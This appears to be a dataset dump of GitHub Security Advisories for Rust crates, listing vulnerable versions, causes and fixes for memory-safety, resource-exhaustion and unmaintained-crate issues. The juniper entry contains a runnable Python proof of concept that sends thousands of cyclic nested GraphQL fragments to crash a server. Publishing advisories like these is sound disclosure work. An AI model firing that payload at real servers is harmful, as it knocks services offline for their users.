deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-v8gq-5grq-9728
Package: mozjpeg (RUST)
Severity: HIGH (CVSS 0.0)
Vulnerable versions: < 0.8.19
Patched in: 0.8.19

Summary: mozjpeg DecompressScanlines::read_scanlines is Unsound

Details:
This issue and vector is similar to [RUSTSEC-2020-0029] of `rgb` crate which `mozjpeg` depends on.

Affected versions of `mozjpeg` crate allow creating instances of any type `T` from bytes,
and do not correctly constrain `T` to the types for which it is safe to do so.

Examples of safety violation possible for a type `T`:

* `T` contains a reference type, and it constructs a pointer to an invalid, arbitrary memory address.
* `T` requires a safety and/or validity invariant for its construction that may be violated.

The issue was fixed in 0.8.19 by using safer types and involving `rgb` dependency bump.

[RUSTSEC-2020-0029]: https://rustsec.org/advisories/RUSTSEC-2020-0029.html
GitHub Security Advisory: GHSA-74w3-p89x-ffgh
Package: ansi_term (RUST)
Severity: LOW (CVSS 0.0)
Vulnerable versions: >= 0
Patched in: unpatched

Summary: ansi_term is Unmaintained

Details:
## Withdrawn Advisory
This advisory has been withdrawn because it does not discuss a particular vulnerability in the code of `ansi_term`.

## Original Description
The maintainer has adviced this crate is deprecated and will not receive any maintenance.

The crate does not seem to have much dependencies and may or may not be ok to use as-is.

Last release seems to have been three years ago.
GitHub Security Advisory: GHSA-2gg5-7c4v-6xx2
Package: axum-core (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: = 0.3.0-rc.1
Patched in: 0.3.0-rc.2

Summary: Duplicate of GHSA-m77f-652q-wwp4

Details:
## Duplicate advisory
This advisory is a duplicate of [GHSA-m77f-652q-wwp4](https://github.com/advisories/GHSA-m77f-652q-wwp4). This link is maintained to preserve external references.

## Original Description
<bytes::Bytes as axum_core::extract::FromRequest>::from_request would not, by default, set a limit for the size of the request body. That meant if a malicious peer would send a very large (or infinite) body your server might run out of memory and crash. This also applies to these extractors which used Bytes::from_request internally: axum::extract::Form axum::extract::Json String
GitHub Security Advisory: GHSA-2gg5-7c4v-6xx2
Package: axum-core (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 0.2.8
Patched in: 0.2.8

Summary: Duplicate of GHSA-m77f-652q-wwp4

Details:
## Duplicate advisory
This advisory is a duplicate of [GHSA-m77f-652q-wwp4](https://github.com/advisories/GHSA-m77f-652q-wwp4). This link is maintained to preserve external references.

## Original Description
<bytes::Bytes as axum_core::extract::FromRequest>::from_request would not, by default, set a limit for the size of the request body. That meant if a malicious peer would send a very large (or infinite) body your server might run out of memory and crash. This also applies to these extractors which used Bytes::from_request internally: axum::extract::Form axum::extract::Json String
GitHub Security Advisory: GHSA-28m8-9j7v-x499
Package: tauri (RUST)
Severity: MODERATE (CVSS 5.8)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-59: Improper Link Resolution Before File Access ('Link Following')
Vulnerable versions: < 1.0.6
Patched in: 1.0.6

Summary: Tauri's readDir Endpoint Scope can be Bypassed With Symbolic Links

Details:
### Impact
Due to missing canonicalization when `readDir` is called recursively, it was possible to display directory listings outside of the defined `fs` scope. This required a crafted symbolic link or junction folder inside an allowed path of the `fs` scope. No arbitrary file content could be leaked.


### Patches
The issue has been resolved in https://github.com/tauri-apps/tauri/pull/5123 and the implementation now properly checks if the
requested (sub) directory is a symbolic link outside of the defined `scope`.

### Workarounds
Disable the `readDir` endpoint in the `allowlist` inside the `tauri.conf.json`.

### For more information

This issue was initially reported by [martin-ocasek]( https://github.com/martin-ocasek) in [#4882](https://github.com/tauri-apps/tauri/issues/4882).

If you have any questions or comments about this advisory:
* Open an issue in [tauri](https://github.com/tauri-apps/tauri)
* Email us at [security@tauri.app](mailto:security@tauri.app)
GitHub Security Advisory: GHSA-rc23-xxgq-x27g
Package: wee_alloc (RUST)
Severity: CRITICAL (CVSS 0.0)
Vulnerable versions: >= 0
Patched in: unpatched

Summary: wee_alloc is Unmaintained

Details:
Two of the maintainers have indicated that the crate may not be maintained.

The crate has open issues including memory leaks and may not be suitable for production use.

It may be best to switch to the default Rust standard allocator on wasm32 targets.

Last release seems to have been three years ago.
GitHub Security Advisory: GHSA-vfv3-9w6v-23jp
Package: typemap (RUST)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-1104: Use of Unmaintained Third Party Components
Vulnerable versions: >= 0
Patched in: unpatched

Summary: typemap is Unmaintained

Details:
The maintainer seems unreachable. The crate may or may not be usable as-is despite no maintenance and may not work in future versions of Rust. The last release seems to have been seven years ago.
GitHub Security Advisory: GHSA-pp8r-vv2j-9j5v
Package: traitobject (RUST)
Severity: CRITICAL (CVSS 0.0)
CWE: CWE-1104: Use of Unmaintained Third Party Components
Vulnerable versions: >= 0
Patched in: unpatched

Summary: traitobject is Unmaintained

Details:
Crate `traitobject` has not had a release for over five years.

In addition there is an existing security advisory that has not been addressed:

 - [RUSTSEC-2020-0027](https://rustsec.org/advisories/RUSTSEC-2020-0027)

## Possible Alternative(s)

 The below list has not been vetted in any way and may or may not contain alternatives;

 - [destructure_traitobject]

[destructure_traitobject]: https://crates.io/crates/destructure_traitobject
GitHub Security Advisory: GHSA-m77f-652q-wwp4
Package: axum-core (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: = 0.3.0-rc.1
Patched in: 0.3.0-rc.2

Summary: axum-core has no default limit put on request bodies

Details:
`<bytes::Bytes as axum_core::extract::FromRequest>::from_request` would not, by default, set a limit for the size of the request body. That meant if a malicious peer would send a very large (or infinite) body your server might run out of memory and crash.

This also applies to these extractors which used `Bytes::from_request` internally:
- `axum::extract::Form`
- `axum::extract::Json`
- `String`

The fix is also in `axum-core` `0.3.0.rc.2` but `0.3.0.rc.1` _is_ vulnerable.

Because `axum` depends on `axum-core` it is vulnerable as well. The vulnerable versions of `axum` are `<= 0.5.15` and `0.6.0.rc.1`. `axum` `>= 0.5.16` and `>= 0.6.0.rc.2` does have the fix and are not vulnerable.

The patched versions will set a 2 MB limit by default.
GitHub Security Advisory: GHSA-m77f-652q-wwp4
Package: axum-core (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 0.2.8
Patched in: 0.2.8

Summary: axum-core has no default limit put on request bodies

Details:
`<bytes::Bytes as axum_core::extract::FromRequest>::from_request` would not, by default, set a limit for the size of the request body. That meant if a malicious peer would send a very large (or infinite) body your server might run out of memory and crash.

This also applies to these extractors which used `Bytes::from_request` internally:
- `axum::extract::Form`
- `axum::extract::Json`
- `String`

The fix is also in `axum-core` `0.3.0.rc.2` but `0.3.0.rc.1` _is_ vulnerable.

Because `axum` depends on `axum-core` it is vulnerable as well. The vulnerable versions of `axum` are `<= 0.5.15` and `0.6.0.rc.1`. `axum` `>= 0.5.16` and `>= 0.6.0.rc.2` does have the fix and are not vulnerable.

The patched versions will set a 2 MB limit by default.
GitHub Security Advisory: GHSA-c439-chv8-8g2j
Package: os_socketaddr (RUST)
Severity: HIGH (CVSS 0.0)
Vulnerable versions: < 0.2.2
Patched in: 0.2.2

Summary: `os_socketaddr` invalidly assumes the memory layout of std::net::SocketAddr

Details:
The [`os_socketaddr`](https://crates.io/crates/os_socketaddr) crate has assumed `std::net::SocketAddrV4` and `std::net::SocketAddrV6` have the same memory layout as the system C representation `sockaddr`. It has simply casted the pointers to convert the socket addresses to the system representation.

These layout were [changed into idiomatic rust types](https://github.com/rust-lang/rust/pull/78802) in nightly `std`. Starting from rustc 1.64 the affected versions of this crate will have undefined behaviour.
GitHub Security Advisory: GHSA-9q5j-jm53-v7vr
Package: lz4-sys (RUST)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-190: Integer Overflow or Wraparound, CWE-787: Out-of-bounds Write
Vulnerable versions: < 1.9.4
Patched in: 1.9.4

Summary: lz4-sys vulnerable to memory corruption via issue in liblz4

Details:
lz4-sys up to v1.9.3 bundles a version of liblz4 that is vulnerable to
[CVE-2021-3520](https://nvd.nist.gov/vuln/detail/CVE-2021-3520).

Attackers could craft a payload that triggers an integer overflow upon
decompression, causing an out-of-bounds write.

The flaw has been corrected in version v1.9.4 of liblz4, which is included
in lz4-sys 1.9.4.
GitHub Security Advisory: GHSA-hgxq-hcrm-c5pm
Package: opcua (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-787: Out-of-bounds Write
Vulnerable versions: < 0.11.0
Patched in: 0.11.0

Summary: opcua Vulnerable to Out-of-bounds Write

Details:
The package opcua from 0.0.0 until 0.11.0 is vulnerable to Denial of Service (DoS) via the ExtensionObjects and Variants objects, when it allows unlimited nesting levels, which could result in a stack overflow even if the message size is less than the maximum allowed.
GitHub Security Advisory: GHSA-8mx2-gqx9-rm7f
Package: opcua (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 0.11.0
Patched in: 0.11.0

Summary: Uncontrolled Resource Consumption in opcua

Details:
The package opcua from 0.0.0 are vulnerable to Denial of Service (DoS) due to a missing limitation on the number of received chunks - per single session or in total for all concurrent sessions. An attacker can exploit this vulnerability by sending an unlimited number of huge chunks (e.g. 2GB each) without sending the Final closing chunk.
GitHub Security Advisory: GHSA-wcm8-86x6-8mv3
Package: apache-avro (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 0.14.0
Patched in: 0.14.0

Summary: Apache Avro Rust SDK's Reader could consume memory beyond allowed constraints

Details:
It is possible for a Reader to consume memory beyond the allowed constraints and thus lead to out of memory on the system. This issue affects Rust applications using Apache Avro Rust SDK prior to 0.14.0 (previously known as avro-rs). Users should update to apache-avro version 0.14.0 which addresses this issue.
GitHub Security Advisory: GHSA-3fg9-hcq5-vxrc
Package: iana-time-zone (RUST)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-416: Use After Free
Vulnerable versions: >= 0.1.43, < 0.1.45
Patched in: 0.1.45

Summary: iana-time-zone vulnerable to use after free in MacOS / iOS implementation

Details:
In iana-time-zone v0.1.43 a use-after-free bug in the MacOS / iOS implementation was introduced.

The copied system time zone was released before its name was copied.
If the system time zone was changed between the call of `CFRelease` and `str::to_owned()`,
random memory would be copied.
GitHub Security Advisory: GHSA-jwh2-vrr9-vcp2
Package: mz-avro (RUST)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.7.0
Patched in: 0.7.0

Summary: mz-avro's incorrect use of `set_len` allows for un-initialized memory

Details:
Affected versions of this crate passes an uninitialized buffer to a user-provided `Read` 
implementation.

Arbitrary `Read` implementations can read from the uninitialized buffer (memory exposure)
and also can return incorrect number of bytes written to the buffer.
Reading from uninitialized memory produces undefined values that can quickly invoke
undefined behavior.

Note: there is only UB in the case where a user provides a struct whose `Read`
implementation inspects the buffer passed to `read_exact` before writing to it.
This is an unidiomatic (albeit possible) `Read` implementation.

See https://github.com/MaterializeInc/materialize/issues/8669 for details.
GitHub Security Advisory: GHSA-v456-chpw-6mmw
Package: apache-avro (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')
Vulnerable versions: < 0.14.0
Patched in: 0.14.0

Summary: Apache Avro Rust SDK vulnerable to reader looping in cycle endlessly, consuming CPU

Details:
It is possible to provide data to be read that leads the reader to loop in cycles endlessly, consuming CPU. This issue affects Rust applications using Apache Avro Rust SDK prior to 0.14.0 (previously known as avro-rs). Users should update to apache-avro version 0.14.0 which addresses this issue.
GitHub Security Advisory: GHSA-3w5g-989p-35r8
Package: apache-avro (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-20: Improper Input Validation, CWE-190: Integer Overflow or Wraparound
Vulnerable versions: < 0.14.0
Patched in: 0.14.0

Summary: Apache Avro Rust SDK corrupted data read can cause crash

Details:
It is possible to crash (panic) an application by providing a corrupted data to be read. This issue affects Rust applications using Apache Avro Rust SDK prior to 0.14.0 (previously known as avro-rs). Users should update to apache-avro version 0.14.0 which addresses this issue.
GitHub Security Advisory: GHSA-h864-m8vm-3xvj
Package: oqs (RUST)
Severity: HIGH (CVSS 0.0)
Vulnerable versions: < 0.7.2
Patched in: 0.7.2

Summary: oqs's Post-Quantum Signature scheme Rainbow level I parametersets broken

Details:
Ward Beullens found a practical key-recovery attack against Rainbow.
The level I parametersets are removed from liboqs starting from version `0.7.2`.
Find the scientific details in [Breaking Rainbow Takes a Weekend on a Laptop](https://eprint.iacr.org/2022/214).

This means all the `oqs::sig::Algorithm::RainbowI*` variants are insecure.
GitHub Security Advisory: GHSA-hrjv-pf36-jpmr
Package: oqs (RUST)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.7.2
Patched in: 0.7.2

Summary: oqs's Post-Quantum Key Encapsulation Mechanism SIKE broken

Details:
Wouter Castryck and Thomas Decru presented an efficient key recovery attack on the SIDH protocol.
As a result, the secret key of SIKEp751 can be recovered in a matter of hours.
The SIKE and SIDH schemes will be removed from oqs 0.7.2.

[An efficient key recovery attack on SIDH (preliminary version)](https://eprint.iacr.org/2022/975)
GitHub Security Advisory: GHSA-7v4j-8wvr-v55r
Package: array-macro (RUST)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: >= 2.1.0, < 2.1.2
Patched in: 2.1.2

Summary: `array!` macro is unsound when its length is impure constant

Details:
Affected versions of this crate did substitute the array length provided by an user at compile-time multiple times.

When an impure constant expression is passed as an array length (such as a result of an impure procedural macro), this can result in the initialization of an array with uninitialized types, which in turn can allow an attacker to execute arbitrary code.

The flaw was corrected in commit [d5b63f72](https://github.com/xfix/array-macro/commit/d5b63f72090f3809c21ac28f9cfd84f12559bf7d) by making sure that array length is substituted just once.
GitHub Security Advisory: GHSA-qgwf-r2jj-2ccv
Package: heapless (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-416: Use After Free
Vulnerable versions: < 0.6.1
Patched in: 0.6.1

Summary: Use after free in heapless

Details:
An issue was discovered in the heapless crate before 0.6.1 for Rust. The IntoIter Clone implementation clones an entire underlying Vec without considering whether it has already been partially consumed.
GitHub Security Advisory: GHSA-q2gj-9r85-p832
Package: rulinalg (RUST)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-362: Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')
Vulnerable versions: >= 0.4.0, <= 0.4.2
Patched in: unpatched

Summary: Data races in rulinalg

Details:
The affected version of rulinalg has incorrect lifetime boundary definitions for RowMut::raw_slice and RowMut::raw_slice_mut. They do not conform with Rust's borrowing rule and allows the user to create multiple mutable references to the same location. This may result in unexpected calculation result and data race if both references are used at the same time.
GitHub Security Advisory: GHSA-xpp3-xrff-w6rh
Package: rocksdb (RUST)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.19.0
Patched in: 0.19.0

Summary: rocksdb vulnerable to out-of-bounds read

Details:
Affected versions of this crate called the RocksDB C API
`rocksdb_open_column_families_with_ttl()` with a pointer to a single integer
TTL value, but one TTL value for each column family is expected.

This is only relevant when using
`rocksdb::DBWithThreadMode::open_cf_descriptors_with_ttl()` with multiple
column families.

This bug has been fixed in v0.19.0.
GitHub Security Advisory: GHSA-2jq9-6xx7-3h29
Package: temporary (RUST)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: >= 0.3.0, < 0.6.4
Patched in: 0.6.4

Summary: `temporary` makes use of uninitialized memory

Details:
Uninitialized memory is used as a RNG seed in temporary. This has been resolved in the 0.6.4 release. The crate is not intended to be used outside of a testing environment. For a general purpose crate to create temporary directories, [`tempfile`](https://crates.io/crates/tempfile) is an alternative for this crate.
GitHub Security Advisory: GHSA-9qxh-258v-666c
Package: owning_ref (RUST)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: <= 0.4.1
Patched in: unpatched

Summary: owning_ref vulnerable to multiple soundness issues

Details:
- `OwningRef::map_with_owner` is [unsound](https://github.com/Kimundi/owning-ref-rs/issues/77) and may result in a use-after-free.
- `OwningRef::map` is [unsound](https://github.com/Kimundi/owning-ref-rs/issues/71) and may result in a use-after-free.
- `OwningRefMut::as_owner` and `OwningRefMut::as_owner_mut` are [unsound](https://github.com/Kimundi/owning-ref-rs/issues/61) and may result in a use-after-free.
- The crate [violates Rust's aliasing rules](https://github.com/Kimundi/owning-ref-rs/issues/49), which may cause miscompilations on recent compilers that emit the LLVM `noalias` attribute.

No patched versions are available at this time. While a pull request with some fixes is outstanding, the maintainer appears to be unresponsive.
GitHub Security Advisory: GHSA-qrjv-rf5q-qpxc
Package: websocket (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-119: Improper Restriction of Operations within the Bounds of a Memory Buffer, CWE-400: Uncontrolled Resource Consumption, CWE-770: Allocation of Resources Without Limits or Throttling
Vulnerable versions: < 0.26.5
Patched in: 0.26.5

Summary: Rust-WebSocket memory allocation based on untrusted length

Details:
## Impact
Untrusted websocket connections can cause an out-of-memory (OOM) process abort in a client or a server.
The root cause of the issue is during dataframe parsing.
Affected versions would allocate a buffer based on the declared dataframe size, which may come from an untrusted source.
When `Vec::with_capacity` fails to allocate, the default Rust allocator will abort the current process, killing all threads. This affects only sync (non-Tokio) implementation. Async version also does not limit memory, but does not use `with_capacity`, so DoS can happen only when bytes for oversized dataframe or message actually got delivered by the attacker.

This is a security concern for you, if
- your server application handles untrusted websocket connections
- OR your client application connects to untrusted websocket servers

## Patches
The crashes are fixed in version **0.26.5** by imposing default dataframe size limits.
Affected users are advised to update to this version.

Note that default memory limits are rather large (100MB dataframes and 200 MB messages), so they can still cause DoS in some environments (i.e. 32-bit). New API has been added to fine tune those limits for specific applications.

### Workarounds

* Migrate your project to another, maintained Websocket library like Tungstenite.
* Accept only trusted WebSocket traffic.
* Filter the WebSocket traffic though some kind of proxy that ensures sanity limits on messages.
* Handle process aborts gracefully and limit process memory using OS tools.


## Credits
This issue was reported by [Evan Richter](https://github.com/evanrichter) at ForAllSecure and found with [Mayhem](https://forallsecure.com/mayhem-for-code) and [Cargo Fuzz](https://github.com/rust-fuzz/cargo-fuzz).
GitHub Security Advisory: GHSA-cqpr-pcm7-m3jc
Package: chrono (RUST)
Severity: MODERATE (CVSS 0.0)
Vulnerable versions: < 0.4.20
Patched in: 0.4.20

Summary: Potential segfault in `localtime_r` invocations

Details:
### Impact

Unix-like operating systems may segfault due to dereferencing a dangling pointer in specific circumstances. This requires an environment variable to be set in a different thread than the affected functions. This may occur without the user's knowledge, notably in a third-party library.

### Workarounds 

No workarounds are known.
GitHub Security Advisory: GHSA-4rx6-g5vg-5f3j
Package: juniper (RUST)
Severity: HIGH (CVSS 7.5)
CWE: CWE-400: Uncontrolled Resource Consumption, CWE-674: Uncontrolled Recursion
Vulnerable versions: < 0.15.10
Patched in: 0.15.10

Summary: Juniper is vulnerable to @DOS GraphQL Nested Fragments overflow

Details:
### GraphQL behaviour

Nested fragment in GraphQL might be quite hard to handle depending on the implementation language.
Some language support natively a max recursion depth. However, on most compiled languages, you should add a threshold of recursion.

```graphql
# Infinite loop example
query {
    ...a
}

fragment a on Query {
    ...b
}

fragment b on Query {
    ...a
}
```

### POC TLDR
With max_size being the number of nested fragment generated.
At max_size=7500, it should instantly raise:

![](https://i.imgur.com/wXbUx8l.png)

However, with a lower size, you will overflow the memory after some iterations.

### Reproduction steps (Juniper)

```
git clone https://github.com/graphql-rust/juniper.git
cd juniper
```

Save this POC as poc.py

```python
import requests
import time
import json
from itertools import permutations

print('=== Fragments POC ===')

url = 'http://localhost:8080/graphql'

max_size = 7500
perms = [''.join(p) for p in permutations('abcefghijk')]
perms = perms[:max_size]

fragment_payloads = ''
for i, perm in enumerate(perms):
    next_perm = perms[i+1] if i < max_size-1 else perms[0]
    fragment_payloads += f'fragment {perm} on Query' + '{' f'...{next_perm}' + '}'

payload = {'query':'query{\n  ...' + perms[0] + '\n}' + fragment_payloads,'variables':{},'operationName':None}

headers = {
  'Content-Type': 'application/json',
}

try:
    response = requests.request('POST', url, headers=headers, json=payload)
    print(response.text)
except requests.exceptions.ConnectionError:
    print('Connection closed, POC worked.')
```

```
cargo run
[in separate shell] python3 poc.py
```

### Credits

[@Escape-Technologies](https://escape.tech)

@c3b5aw 
@MdotTIM 
@karimhreda
GitHub Security Advisory: GHSA-xq3c-8gqm-v648
Package: async-graphql (RUST)
Severity: HIGH (CVSS 7.5)
Vulnerable versions: < 4.0.6
Patched in: 4.0.6

Summary: async-graphql / async-graphql - @DOS GraphQL Nested Fragments overflow

Details:
### Impact

Executing deeply nested queries may cause stack overflow.

### Patches

Upgrade to `v4.0.6`